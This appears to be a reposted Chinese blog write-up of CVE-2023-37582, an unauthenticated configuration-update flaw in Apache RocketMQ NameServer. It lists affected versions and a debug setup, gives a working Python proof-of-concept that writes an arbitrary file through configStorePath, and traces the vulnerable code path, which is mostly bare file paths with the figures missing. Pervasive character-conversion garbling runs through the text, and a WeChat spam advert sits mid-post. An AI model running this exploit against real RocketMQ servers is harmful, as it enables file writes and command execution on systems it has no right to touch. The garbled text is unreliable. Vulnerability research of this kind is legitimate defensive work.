?文章來源地址http://www.zghlxwxcb.cn/news/detail-618537.html
漏洞簡(jiǎn)介
Apache RocketMQ是一款低延遲、高并發(fā)、高可用、高可靠的分布式消息中間件。CVE-2023-37582 中,由于對(duì) CVE-2023-33246 修復(fù)不完善,導(dǎo)致在Apache RocketMQ NameServer 存在未授權(quán)訪問的情況下,攻擊者可構(gòu)造惡意請(qǐng)求以RocketMQ運(yùn)行的系統(tǒng)用戶身份執(zhí)行命令。
影響版本
Apache RocketMQ <= 5.1.1?Apache RocketMQ <= 4.9.6
環(huán)境搭建
參考 Apache RocketMQ 遠(yuǎn)程代碼執(zhí)行漏洞 CVE-2023-33246 的環(huán)境搭建
還是為了方便進(jìn)行調(diào)試,我們?cè)?linux 下搭建 RocketMQ 的相關(guān)服務(wù),利用源碼啟動(dòng)
一共需要運(yùn)行兩個(gè)服務(wù)
org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup
先啟動(dòng) NamesrvStartup,再啟動(dòng) BrokerStartup 同時(shí)都需要配置環(huán)境變量 ROCKETMQ_HOME?ROCKETMQ_HOME\=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0
?
?
漏洞復(fù)現(xiàn)
運(yùn)行 python 腳本
import socket
import binascii
client = socket.socket()
?
# you ip
client.connect(('192.168.222.130',9876))
?
# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一個(gè)字節(jié)是2個(gè)十六進(jìn)制數(shù)
head1 = '00000000'+str(hex(json_lens))[2:] ? ? ?# hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
?
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
?
成功在 tmp 目錄下的 test.txt 文件中寫入指定字符串 test
【----幫助網(wǎng)安學(xué)習(xí),以下所有學(xué)習(xí)資料免費(fèi)領(lǐng)!加vx:yj009991,備注 “博客園” 獲??!】
?、?網(wǎng)安學(xué)習(xí)成長路徑思維導(dǎo)圖
?、?60+網(wǎng)安經(jīng)典常用工具包
③ 100+SRC漏洞分析報(bào)告
?、?150+網(wǎng)安攻防實(shí)戰(zhàn)技術(shù)電子書
?、?最權(quán)威CISSP 認(rèn)證考試指南+題庫
⑥ 超1800頁CTF實(shí)戰(zhàn)技巧手冊(cè)
?、?最新網(wǎng)安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測(cè)指南(安卓+IOS)
漏洞分析
org/apache/rocketmq/remoting/protocol/RequestCode.java
? code 代表調(diào)用不同的功能,此時(shí)調(diào)用的是318 更新配置的操作
src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java
?
根據(jù)對(duì)應(yīng)的 code 會(huì)調(diào)用 對(duì)應(yīng)的函數(shù)進(jìn)行處理
src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java
?
?
src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig
?
??src/main/java/org/apache/rocketmq/remoting/Configuration.java#update
?
??
首先判斷是不是屬于可控的屬性
src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist
?
?src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath
?
調(diào)用?getStorePath
? 獲取文件路徑,此時(shí)獲取的值是 configStorePath 的值
src/main/java/org/apache/rocketmq/common/MixAll.java#string2File
?
??src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe
?
??src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile
?
?
漏洞修復(fù)
修改禁用修改配置路徑的參數(shù)
更多網(wǎng)安技能的在線實(shí)操練習(xí),請(qǐng)點(diǎn)擊這里>>文章來源:http://www.zghlxwxcb.cn/news/detail-618537.html
?
到了這里,關(guān)于Apache RocketMQ 遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2023-37582)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!